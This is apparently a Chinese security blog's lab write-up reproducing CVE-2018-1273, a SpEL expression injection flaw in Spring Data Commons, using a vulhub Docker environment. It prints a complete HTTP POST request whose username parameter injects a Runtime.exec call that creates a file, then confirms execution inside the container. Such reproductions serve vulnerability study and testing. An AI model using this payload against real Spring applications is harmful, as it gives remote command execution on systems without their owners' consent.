Spring Data Commons 远程命令执行漏洞(CVE-2018-1273)

华盟原创文章投稿奖励计划

Spring Data Commons 远程命令执行漏洞(CVE-2018-1273) 
漏洞简述
Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,Spring Data Commons是Spring Data下所有子项目共享的基础框架。Spring Data Commons 在2.0.5及以前版本中,存在一处SpEL表达式注入漏洞攻击者可以注入恶意SpEL表达式以执行任意命令。
安装漏洞环境
使用vulhub安装

https://github.com/vulhub/vulhub
Spring Data Commons 远程命令执行漏洞(CVE-2018-1273) 
安装完成访问

http://192.168.123.205:8080/users?page=0&size=5
Spring Data Commons 远程命令执行漏洞(CVE-2018-1273) 

漏洞复现
抓包,替换数据

Spring Data Commons 远程命令执行漏洞(CVE-2018-1273) 
"""
POST /users?page=&size=5 HTTP/1.1
Host: localhost:8080
Connection: keep-alive
Content-Length: 125
Pragma: no-cache
Cache-Control: no-cache
Origin: http://localhost:8080
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36
Accept: text/html,application/xhtml xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://localhost:8080/users?page=0&size=5
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/success2")]=&password=&repeatedPassword=
"""
执行`docker-compose exec spring bash`进入容器中,可见成功创建`/tmp/success2`,说明命令执行成功:

华盟知识星球入口

Spring Data Commons 远程命令执行漏洞(CVE-2018-1273)

本文原创,作者:congtou,其版权均为华盟网所有。如需转载,请注明出处:https://www.77169.net/html/260043.html

发表评论